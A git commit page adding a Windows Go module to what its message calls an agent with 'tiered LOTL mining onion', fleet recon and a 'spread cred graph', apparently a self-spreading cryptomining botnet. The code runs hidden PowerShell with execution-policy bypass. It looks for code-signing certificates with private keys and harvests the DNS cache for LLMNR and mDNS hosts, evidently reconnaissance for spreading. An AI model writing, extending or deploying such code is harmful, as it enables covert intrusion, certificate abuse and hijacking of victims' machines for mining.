Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
113
agent/deploy/network_hints_cert_windows.go
Normal file
113
agent/deploy/network_hints_cert_windows.go
Normal file
@@ -0,0 +1,113 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const dnsClientCacheScript = `
|
||||
$rows = Get-DnsClientCache -ErrorAction SilentlyContinue |
|
||||
Where-Object { $_.Entry -ne '' -and $_.Data -ne '' } |
|
||||
Select-Object -First 64 Entry, Data, Type
|
||||
$rows | ConvertTo-Json -Compress
|
||||
`
|
||||
|
||||
const codeSignCertScript = `
|
||||
$eku = '1.3.6.1.5.5.7.3.3'
|
||||
$cert = Get-ChildItem Cert:\CurrentUser\My, Cert:\LocalMachine\My -ErrorAction SilentlyContinue |
|
||||
Where-Object {
|
||||
$_.HasPrivateKey -and (
|
||||
($_.EnhancedKeyUsageList | Where-Object { $_.ObjectId -eq $eku }) -or
|
||||
($_.EnhancedKeyUsageList.FriendlyName -contains 'Code Signing')
|
||||
)
|
||||
} |
|
||||
Select-Object -First 1 Subject
|
||||
if ($cert) { $cert.Subject } else { '' }
|
||||
`
|
||||
|
||||
func probeEnterpriseCodeSignCert() (present bool, subject string) {
|
||||
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", codeSignCertScript)
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
subject = strings.TrimSpace(string(out))
|
||||
return subject != "", subject
|
||||
}
|
||||
|
||||
func probeMulticastNameCache(max int) (llmnr, mdns []NameHost) {
|
||||
if max <= 0 {
|
||||
return nil, nil
|
||||
}
|
||||
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", dnsClientCacheScript)
|
||||
if err != nil {
|
||||
return nil, nil
|
||||
}
|
||||
raw := strings.TrimSpace(string(out))
|
||||
if raw == "" {
|
||||
return nil, nil
|
||||
}
|
||||
if idx := strings.LastIndex(raw, "{"); idx >= 0 && !strings.HasPrefix(raw, "[") {
|
||||
raw = "[" + raw[idx:]
|
||||
if !strings.HasSuffix(raw, "]") {
|
||||
raw += "]"
|
||||
}
|
||||
}
|
||||
var rows []struct {
|
||||
Entry string `json:"Entry"`
|
||||
Data string `json:"Data"`
|
||||
Type int `json:"Type"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(raw), &rows); err != nil {
|
||||
var one struct {
|
||||
Entry string `json:"Entry"`
|
||||
Data string `json:"Data"`
|
||||
Type int `json:"Type"`
|
||||
}
|
||||
if err2 := json.Unmarshal([]byte(raw), &one); err2 != nil || one.Entry == "" {
|
||||
return nil, nil
|
||||
}
|
||||
rows = []struct {
|
||||
Entry string `json:"Entry"`
|
||||
Data string `json:"Data"`
|
||||
Type int `json:"Type"`
|
||||
}{one}
|
||||
}
|
||||
|
||||
seenLLMNR := make(map[string]bool)
|
||||
seenMDNS := make(map[string]bool)
|
||||
for _, row := range rows {
|
||||
name := strings.TrimSpace(strings.TrimSuffix(row.Entry, "."))
|
||||
ip := strings.TrimSpace(row.Data)
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
if ip != "" {
|
||||
if parsed := net.ParseIP(ip); parsed != nil && parsed.To4() != nil {
|
||||
ip = parsed.To4().String()
|
||||
}
|
||||
}
|
||||
entry := NameHost{Name: name, IP: ip}
|
||||
lower := strings.ToLower(name)
|
||||
switch {
|
||||
case strings.HasSuffix(lower, ".local"):
|
||||
if len(mdns) >= max || seenMDNS[name] {
|
||||
continue
|
||||
}
|
||||
seenMDNS[name] = true
|
||||
mdns = append(mdns, entry)
|
||||
case !strings.Contains(name, "."):
|
||||
if len(llmnr) >= max || seenLLMNR[name] {
|
||||
continue
|
||||
}
|
||||
seenLLMNR[name] = true
|
||||
llmnr = append(llmnr, entry)
|
||||
}
|
||||
if len(llmnr)+len(mdns) >= max {
|
||||
break
|
||||
}
|
||||
}
|
||||
return llmnr, mdns
|
||||
}
|
||||
Reference in New Issue
Block a user